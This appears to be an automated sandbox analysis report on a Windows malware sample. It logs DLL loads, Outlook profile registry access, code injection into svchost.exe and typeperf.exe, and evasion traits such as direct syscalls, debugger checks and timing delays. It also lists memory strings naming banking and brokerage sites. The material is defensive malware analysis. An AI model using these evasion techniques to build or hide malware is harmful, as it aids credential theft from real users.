Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\typeperf.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: sa7Bw41TUq.exe

Static file information: File size 1364575 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uxEGEjhWYrJv.exe, 0000000B.00000000.1558723774.0000000000FAE000.00000002.00000001.01000000.00000005.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737429493.0000000000FAE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: typeperf.pdb source: svchost.exe, 00000009.00000003.1628080025.0000000003624000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1627986392.000000000361B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1628064356.000000000361A000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3733446394.0000000000788000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000009.00000002.1670896674.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1670896674.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1543886073.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1542199725.0000000003800000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1670422050.0000000002DA5000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.0000000003100000.00000040.00001000.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1683622628.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000009.00000002.1670896674.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1670896674.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1543886073.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1542199725.0000000003800000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, typeperf.exe, 0000000C.00000003.1670422050.0000000002DA5000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.0000000003100000.00000040.00001000.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1683622628.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3738573348.000000000329E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: typeperf.exe, 0000000C.00000002.3739193871.000000000372C000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3730128385.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757312784.000000000298C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1987185043.000000003867C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: typeperf.pdbGCTL source: svchost.exe, 00000009.00000003.1628080025.0000000003624000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1627986392.000000000361B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.1628064356.000000000361A000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000B.00000002.3733446394.0000000000788000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: typeperf.exe, 0000000C.00000002.3739193871.000000000372C000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3730128385.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000000.1757312784.000000000298C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.1987185043.000000003867C000.00000004.80000000.00040000.00000000.sdmp

Source: sa7Bw41TUq.exe

Static PE information: real checksum: 0xa961f should be: 0x14ea0c

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00401540 push es; retf	9_2_004016BD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0040CB10 push edi; retf	9_2_0040CB11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00415BF6 push ecx; iretd	9_2_00415C03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_004034D0 push eax; ret	9_2_004034D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_004144A0 push ebp; retf	9_2_004144A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00418D0E push 00000067h; iretd	9_2_00418D72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_004145D6 pushad ; ret	9_2_004145D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0040160B push es; retf	9_2_004016BD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0040CF38 push ss; retf	9_2_0040CF54
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C309AD push ecx; mov dword ptr [esp], ecx	9_2_03C309B6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031309AD push ecx; mov dword ptr [esp], ecx	12_2_031309B6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D1139 push 074A8058h; ret	12_2_005D118C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005CC087 push es; retf	12_2_005CC08A
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D115C push 074A8058h; ret	12_2_005D118C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005B963D push edi; retf	12_2_005B963E
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D478B push ss; ret	12_2_005D478C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005CB780 push ecx; iretd	12_2_005CB783
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D47AB push 0000000Eh; iretd	12_2_005D47AD
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005C583B push 00000067h; iretd	12_2_005C589F
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005CAC61 push DC60BA47h; iretd	12_2_005CAC6C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005C9C80 push eax; ret	12_2_005C9C81
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5B3CA pushfd ; retf	12_2_02E5B3C9
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5B397 pushfd ; retf	12_2_02E5B3C9
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5D311 push ebx; retf	12_2_02E5D312
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5D163 push ebp; ret	12_2_02E5D169
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5D10F push ebp; ret	12_2_02E5D169
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5B406 pushfd ; retf	12_2_02E5B3C9
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5BA46 pushad ; iretd	12_2_02E5BA49
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E52DEB push ss; ret	12_2_02E52DF7
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DE6C25 push ecx; iretd	14_2_04DE6C28
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DE0D3F push 00000067h; iretd	14_2_04DE0D44

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	API/Special instruction interceptor: Address: 4008324
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\typeperf.exe	API/Special instruction interceptor: Address: 7FFB2CECDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 9_2_03C5BBA0 rdtsc

9_2_03C5BBA0

Source: C:\Windows\SysWOW64\typeperf.exe

Window / User API: threadDelayed 9819

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\typeperf.exe	API coverage: 3.1 %

Source: C:\Windows\SysWOW64\typeperf.exe TID: 7516	Thread sleep count: 154 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe TID: 7516	Thread sleep time: -308000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe TID: 7516	Thread sleep count: 9819 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe TID: 7516	Thread sleep time: -19638000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe TID: 7560	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe TID: 7560	Thread sleep time: -46500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe TID: 7560	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\typeperf.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\typeperf.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\typeperf.exe

Code function: 12_2_005CC4D0 FindFirstFileW,FindNextFileW,FindClose,

12_2_005CC4D0

Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: f3663-3k.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: f3663-3k.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: f3663-3k.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: f3663-3k.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: f3663-3k.12.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: typeperf.exe, 0000000C.00000002.3730128385.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3733521567.0000000000A49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: f3663-3k.12.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: f3663-3k.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: f3663-3k.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: f3663-3k.12.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: f3663-3k.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: f3663-3k.12.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: f3663-3k.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: f3663-3k.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: f3663-3k.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: f3663-3k.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: f3663-3k.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: f3663-3k.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: firefox.exe, 00000010.00000002.1992752490.000002A4F856C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllLL

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 9_2_03C5BBA0 rdtsc

9_2_03C5BBA0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 9_2_00417903 LdrLoadDll,

9_2_00417903

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEC3CD mov eax, dword ptr fs:[00000030h]	9_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	9_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C383C0 mov eax, dword ptr fs:[00000030h]	9_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C383C0 mov eax, dword ptr fs:[00000030h]	9_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C383C0 mov eax, dword ptr fs:[00000030h]	9_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C383C0 mov eax, dword ptr fs:[00000030h]	9_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEB3D0 mov ecx, dword ptr fs:[00000030h]	9_2_03CEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEF3E6 mov eax, dword ptr fs:[00000030h]	9_2_03CEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D053FC mov eax, dword ptr fs:[00000030h]	9_2_03D053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C403E9 mov eax, dword ptr fs:[00000030h]	9_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	9_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	9_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	9_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C663FF mov eax, dword ptr fs:[00000030h]	9_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2E388 mov eax, dword ptr fs:[00000030h]	9_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2E388 mov eax, dword ptr fs:[00000030h]	9_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2E388 mov eax, dword ptr fs:[00000030h]	9_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5438F mov eax, dword ptr fs:[00000030h]	9_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5438F mov eax, dword ptr fs:[00000030h]	9_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D0539D mov eax, dword ptr fs:[00000030h]	9_2_03D0539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C8739A mov eax, dword ptr fs:[00000030h]	9_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C8739A mov eax, dword ptr fs:[00000030h]	9_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C28397 mov eax, dword ptr fs:[00000030h]	9_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C28397 mov eax, dword ptr fs:[00000030h]	9_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C28397 mov eax, dword ptr fs:[00000030h]	9_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C533A5 mov eax, dword ptr fs:[00000030h]	9_2_03C533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C633A0 mov eax, dword ptr fs:[00000030h]	9_2_03C633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C633A0 mov eax, dword ptr fs:[00000030h]	9_2_03C633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB2349 mov eax, dword ptr fs:[00000030h]	9_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2D34C mov eax, dword ptr fs:[00000030h]	9_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2D34C mov eax, dword ptr fs:[00000030h]	9_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D05341 mov eax, dword ptr fs:[00000030h]	9_2_03D05341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29353 mov eax, dword ptr fs:[00000030h]	9_2_03C29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C29353 mov eax, dword ptr fs:[00000030h]	9_2_03C29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov eax, dword ptr fs:[00000030h]	9_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov eax, dword ptr fs:[00000030h]	9_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov eax, dword ptr fs:[00000030h]	9_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov ecx, dword ptr fs:[00000030h]	9_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB035C mov eax, dword ptr fs:[00000030h]	9_2_03CB035C
